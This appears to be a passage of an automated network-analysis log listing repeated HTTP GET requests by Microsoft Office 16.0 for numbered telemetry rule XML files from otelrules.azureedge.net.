Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
